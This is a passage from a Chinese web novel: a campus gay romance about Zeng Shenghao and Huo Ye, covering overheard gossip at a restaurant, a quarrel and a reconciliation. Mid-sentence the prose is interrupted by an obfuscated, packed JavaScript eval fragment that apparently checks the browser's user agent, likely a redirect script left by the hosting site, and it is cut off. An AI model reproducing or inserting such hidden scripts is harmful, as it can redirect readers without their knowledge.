身后二人笑得不行。 曾盛豪急匆匆往楼下跑,身后霍晔喊他别专门跑去厕所沾味儿了,直接在楼下等着帮服务员端菜好了。 “知道了!” 二楼就他们一桌,江箫和霍晔菜还没点完,楼下老板娘让曾盛豪先坐在角落堆满啤酒筐的不起眼空位,又给他拿了瓶2L的橙汁儿,说是免费送的。 然后上下打量他,夸赞起江箫不仅朋友多,身边围绕得还都是俊男美女。 曾盛豪谦逊道:“我算不上什么俊男,楼上的人才算。” 老板娘笑起来:“你这孩子,哪有帅哥不知道自个儿好看的!” 老板娘说她家是明火,用的大炒锅,等会儿楼上出单了,厨师几分钟就能炒好一盘菜,让他不要着急。 曾盛豪点头:“好。” 俩人聊没几句,店里走进来两个面貌得体的西装男人,操着一口浓重的京腔,点了两份木须肉盖饭和几道清口小菜,全都打包带走。 曾盛豪坐在角落闲得无聊,多打量了他们两眼,见二人面皮白皙,粗眉深目隐有骄狂气,但穿的是成衣,裁缝细节处略显蹩脚,皮鞋款式和整套西装也不甚搭配。 他们裤兜有棱角,露出一角白手套,点完菜就各自霸占一张桌子坐下,隔着一条过道互相点烟,然后开始笑声聊天。 烟是万宝路,味道很淡的那种。 显然—— 曾盛豪心想,这两位无视店内禁烟标识的大爷是给权贵开车的司机。 权贵的司机,自然也是权贵。 对上极尽恭维谄媚,烟不敢抽太浓的,吃饭也不敢点重口味的菜,随身携带香水,对外自认是一人之下万人之上,点评起别人倒很有落井下石那一套。 仅是一句“那小娘炮”,曾盛豪莫名觉得这两位万宝路大爷很有傅家的风格。 一楼没几桌客人,两个司机声音压得低,对话像加了密语,一般人确实也听不懂。 万宝路一轻啧:“……显然是要gay到底了,都不打算找个女人装一下了,依我看,他迟早要跟他叔一个德行。” 万宝路二哄笑:“别介啊,咱家那位不说了么,他被窝里还养着只金丝雀呢,旁人提一句名儿都要动怒发飙,可宝贝着呢!” 万宝路一不屑:“切,管他什么金丝雀银丝雀,他爹妈生了他这个断子绝孙的种也真是造了孽,等再过二三十年,他爸退了休,俩老头儿也都没了,全家就剩他一个光杆司令,这圈子里谁还乐意鸟他?” 万宝路二笑:“鸟他干什么?都是他自己作死,早晚给咱家那位提鞋都不配!” 万宝路一突然压低声音,八卦道:“诶,也说不准呢,我有阵子听咱家那位念叨过他几回,不知道啥想法儿。” 万宝路二诧异:“哟,这我真不知道,念叨啥啊?” 始终隐忍攥拳端坐在啤酒筐旁的金丝雀也不动声色地竖起耳朵,好奇偷听。 “来咯——!” 不待万宝路一号说话,老板娘笑呵呵地从厨房端出盘木须肉,放到曾盛豪桌边,“你先上楼吧,剩下的菜我们来端就行!” 曾盛豪低埋着头“嗯”了声,磨磨蹭蹭地端着菜往楼梯上走。 身后二人却没有再讨论了。老板娘给他们拎出打包好的木须肉盖饭,说小菜儿马上就好,俩人捻灭烟头站起身,馋瘾发作,又开始商量着要不要再加一份锅包肉。 二楼包厢门始终敞着,显然是在等他回来。 曾盛豪心情乱糟糟将果汁放玻璃大转桌上,说了句“老板娘送的”,然后将自己半根手指无意戳进热菜盘的木须肉放上去。 八人座的大包厢,他既不挨着霍晔,也不挨着江箫,直接背对着门口扯凳子坐下了。 霍晔江箫瞧见他那一副魂不守舍的样儿,不约而同挑了下眉。 霍晔扭头对江箫说:“这菜等下我俩吃,你别吃了。” 江箫没好气挥手:“嗐,没那么讲究!” 霍晔抬下巴,冲离他十万八千里远的人吆喝了声,手掌拍拍身旁早就拉开的椅子:“快别害臊了,过来坐!” 江箫也笑道:“你非堵那门口儿,等下人家服务员也不方便上菜。” 这话一出,曾盛豪立刻站起身,歉然说了句“不好意思”,也不晓得跟包厢里谁讲不好意思。 然后在霍晔笑脸希翼下,一屁股坐在了江箫的旁边。 “这下应该就方便上菜了。” 曾盛豪俯下身,从江箫脚边早拎上来的一筐啤酒抽走一瓶,按照很早之前霍晔教他的迅速开盖法儿,对准桌沿磕掉瓶盖,仰脖子猛灌起来。 39.第三十九章 江箫瞧出曾盛豪不对劲,小声问霍晔:“没吵架吧?” 霍晔扯扯嘴角:“没,他闲着没事儿就爱作,作够了自己就好了。” 霍晔料想曾盛豪家人又打电话说什么了,但曾盛豪既然泡了他,那这就是曾盛豪该去处理的事,否则他张口闭口的“老公”岂不是白喊了? 等菜上齐,江箫拍了仨人聚餐照发到宿舍群,气得幺鸡吱哇乱叫,斥责他们竟敢吃好吃的不带他! 609麻将四人组: 四饼:你暑假天天搁家享福,又不是吃不着 幺鸡:家花哪有野花香啊! 四饼:那你打车过来啊 幺鸡:算了,我打车费都够吃几百顿了 三条:等开学让你箫哥单独请你 四饼:绝不!!!! 幺鸡:他不会再请我了【委屈emoji】 三条:为啥【挠头emoji】 幺鸡:别问,问就是没爱了【死亡微笑emoji】 去年江箫请幺鸡吃砂锅方便面,事后没少被幺鸡吐槽抠门,后来江箫国庆假第一笔六千块的兼职费拿到手,二话不说拽着幺鸡去高档日料自助大开杀戒,幺鸡不辱使命,一顿饭埋头猛吃干了江箫两千多块,从此江箫再也不敢请这大馋猪吃贵的。 幺鸡是M大校园网红,平时赚点外快,全用在吃穿戴玩儿上,后来有家西餐厅新开业,老板找幺鸡拍视频帮忙宣传,幺鸡也领着江箫去品尝了一番山珍海味。 江箫在路上吃饱喝足打着嗝儿,笑声逗弄幺鸡,说你这顿没花钱,不算数啊!幺鸡狼心狗肺一个,根本就不在乎,哼一句“搞得好像东西没进你胃似的,吃这一顿都够你拉三天屎的了!”,笑得江箫差点吐他身上。 常规宿舍四人聚餐,幺鸡和霍晔话最多。 幺鸡是废话文学,十句里面,九句半都是咋呼,很让人怀疑他大脑皮层上堆满了鞭炮,要是没人制止,他可以不停输出直至宇宙毁灭。 霍晔不管和谁坐一起,不管聊什么话题,只要他想,总能和所有人相谈甚欢。 其次是江箫,他只爱聊别人,不太爱聊自己。 曾盛豪,全宿舍、全班级、乃至整个外院公认第一等S级的装货。 表白墙传说他掌握六国语言,居然一次都没在大家面前显摆过,若逢上重要聚会,他全程基本只听、不说,一派深藏功与名、却难以令任何人忽视的存在。非轮到他了,他就笑一下,三言两语,又四两拨千斤给转移话题走了。 今晚是自家哥们儿聊天吃饭,江箫和霍晔俩人扯犊子,主要聊江箫弟弟要想搬进609、需要由霍晔提前去找领导打招呼的事儿。江箫目前这资质,不太好使。 霍晔挥手说小事儿,然后又好奇打听他弟弟。 江箫貌似也不太爱聊他弟弟,说,等人来了就知道了。他只反复跟霍晔讲,弟弟不太懂事,从小到大也没见过什么世面,希望霍晔别跟他一般见识。 同一个屋檐下,幺鸡要是瞎捣蛋,江箫有的是办法弄他,曾盛豪心无旁骛只读圣贤书,脾气也好,主要还是霍晔—— 霍晔实在太漂亮了。 他既有一副典型浓颜系帅哥具备的剑眉深目、山丘一样高挺的鼻梁,侧颚也有刀削般的锋利棱角,又长一双风情含笑的桃花眼,丹唇丰润,肤如凝脂,标致宛若一张美人画皮,引无数人为之神魂颠倒。 更不提他活泼讨喜,爱笑爱闹,还出手阔绰,既然是男生女相,基本男女通杀。 霍晔才上一年大学,就闹出仨绯闻女友、俩绯闻男友,以及,曾盛豪这个低调隐忍的正牌男友。 江箫的意思,既然霍晔不打算住宿舍了,闲着没事儿就少来宿舍晃悠。 霍晔不客气翻着白眼,阴阳怪气道:“诶~呦~喂~~也不知道当初是谁~~~跟个大家长似的~~~坚决拥护我是宿舍一份子~~~还说我留不留宿都是我的权利~~~不~会~影~响~任~何~人~~~” 江箫一瞬间臊红了脸:“那、那你放着豪华公寓不住,非愿意挤咱那小破四人间儿,我肯定没道理拦嘛!” “行了行了,”霍晔笑得不行,挥手道,“知道了!咱弟还没过门呢,你这就先把我当假想情敌了,真是的!” 江箫没好气道:“什么假想情敌,你说话注意点儿啊!” 霍晔笑得更开怀,冲人耳边喊:“知——道——啦!” 曾盛豪全程无人问津,一个人低头默默地喝酒,默默地吃菜,然后继续默默地喝酒,听着自家笑咯咯的风骚小狐狸精在酒桌上和别的男人打情骂俏,并愈发明目张胆肆无忌惮。 直到一声“知道啦”,霍晔笑得几乎要趴江箫肩上,曾盛豪终于撂下筷子,不悦抬眼:“你有完吗?” 霍晔惊讶一挑眉:“哟,你会说话啊!” 然后扭头瞅江箫,笑:“我刚还以为他是哑巴呢!” 江箫心惊肉跳,忙躲霍晔远了点儿,一屁股坐在背对门口的安全位置。 然而他刚挑筷子还没吃两口菜,立刻察觉整个包厢气压降至冰点,刺棱棱的,吹得他骨头疼。 江箫又匆忙丢下句“你们先聊,我去楼下弄份水饺吃”,一眨眼就闪没影了。 闪没几秒,突然又回来,一脸正气凛然地把桌上的松鼠鳜鱼和水煮肉片端走了。 屋门“砰”一声关上,室内二人隔着一把空椅子,气势汹汹针锋相对。 曾盛豪眸底几欲喷火,霍晔脸色也不很好看。 “我说过多少遍了,你这种逢人就倒的行为很!随!便!!”曾盛豪率先沉声训斥,“人家心里也会瞧不起你!” “你管我呢?”霍晔冷笑,“你以什么身份做我的主?每次碰到点儿鸡毛屁事儿就恨不得躲得老子十万八千里,动不动就自我感动演他妈的苦情剧,你恶心不恶心啊!” “你——!”曾盛豪气急败坏,猛地一拍桌子从椅子站起来,瞪他,“既然嫌我恶心,还总是和我这种人在一起干什么!” “我没说‘总’要和你在一起!”霍晔也蹭地站起身,怒道:“难道不是你先违背约定!是你先闹脾气!是你非要说娶我!” “现在人前人后,你给我照照镜子,看看你他妈有几分打算要娶我的样子?” “也是我犯贱,居然心疼你这种恋爱脑大少爷!现在可算是把我睡到手了,你家老头儿一个电话打过来你就又想跑了,怎么这事儿从头到尾他妈的什么好处都让你占了!凭什么!”霍晔红着眼眶冲人咆哮,“凭什么!凭什么只有你一个人有回头的余地!凭什么!!!” “所以……”曾盛豪心脏狠狠抽搐起来,“你的意思是,你后悔了?” “后悔死了!”霍晔怒不可遏地骂道,“艹!我后悔有用吗?!每次一瞧见你这副缩头乌龟的臭德行,有后悔药的话我早他妈的吃一万遍了!!!” “……是我对不起你。”曾盛豪大脑酒精发散,身形不自觉晃了两下。他强行摁着酒桌,另一手连忙用掌心捂着泪水不停流出的胀红眼睛,仍控制不住哭腔,“是我害了你,害了你家人……是我断了你的路,我根本就不该出现在你的世界里……” “你再说?”霍晔猛地扑上去紧紧抱住他,咬牙切齿道,“曾盛豪,你再敢放这种屁话,我真揍你了!” “是你毁了我的清白,是你亲手找婧柠退的婚!你说过要对我负责!曾盛豪!”他冲人吼道,“听到没!你要负责!负责!” “我负责,我当然要对你负责……”曾盛豪痛苦万分,一刹那浑身插满了罪孽的十字架,压得他头晕目眩,越来越喘不过气,“可是你说你后悔,我不知道该怎么……” 霍晔察觉他心跳得很快,几乎要压制不住激动的情绪,连忙拍手在后背给他顺气,安抚道:“那就别老想着逃跑,好好陪着我。” “我……我没办法控制……” “没办法就想办法。” “可是我怕我会毁了你。” “能不能别往你脸上贴金了?”霍晔气得狠劲儿拧了他一把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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霍晔率先上了车,整个人堵在门口,然后让龙溪把另一侧车门锁住。 曾盛豪失笑:“别闹了,往里面坐一点。” 霍晔仰起脸,冲他露出迷之微笑:“我不要,黏住了,挪不动了。” 曾盛豪耳根发热,伸手将甜筒递给他:“那你吃吧,我等下打车回去。” 霍晔眼皮也不掀一下,命令道:“爬上来,坐我腿上,喂我。” 曾盛豪就去敲龙溪车窗,礼貌问:“你想吃冰激凌吗?” 龙溪头摇得像拨浪鼓:“不想不想。” 霍晔:“……” 霍晔立刻给对方腾地儿,呵斥道:“给我坐过来!” 曾盛豪一脸淡淡然地迈上了车,低头咬一口奶油尖儿,轻声道:“真甜。” 霍晔又恼,伸脚蹬他一下:“要脸吗你!不是给我买的么?” 曾盛豪瞟他:“你又不吃。” 霍晔气不打一处来:“那你不会哄我吃啊!” 曾盛豪想了想,一眨眼就轻飘飘挨过去,飞快凑在霍晔嘴角吻了一下,递上甜筒:“宝贝,你吃一口吧。” 霍晔嘴角快压不住,轻哼一声:“你喂我。” 曾盛豪递到他唇边:“要小口吃,不然会肚子疼。” 霍晔笑着咬了一小口,抬头望他:“这样行么?” 曾盛豪也笑:“嗯。” 霍晔莫名有点脸红,低头挽住他手,小声喊他: “盛豪哥。” “嗯?” “你……真帅。” “谢谢,”曾盛豪忍俊不禁,“我会继续努力保持的。” 霍晔另一手挠了挠后脑勺,不太自在道:“我其实想说……” 曾盛豪探头靠近:“说什么?” “遇见你好幸福啊,”霍晔轻轻靠进他怀里,“我才不后悔。”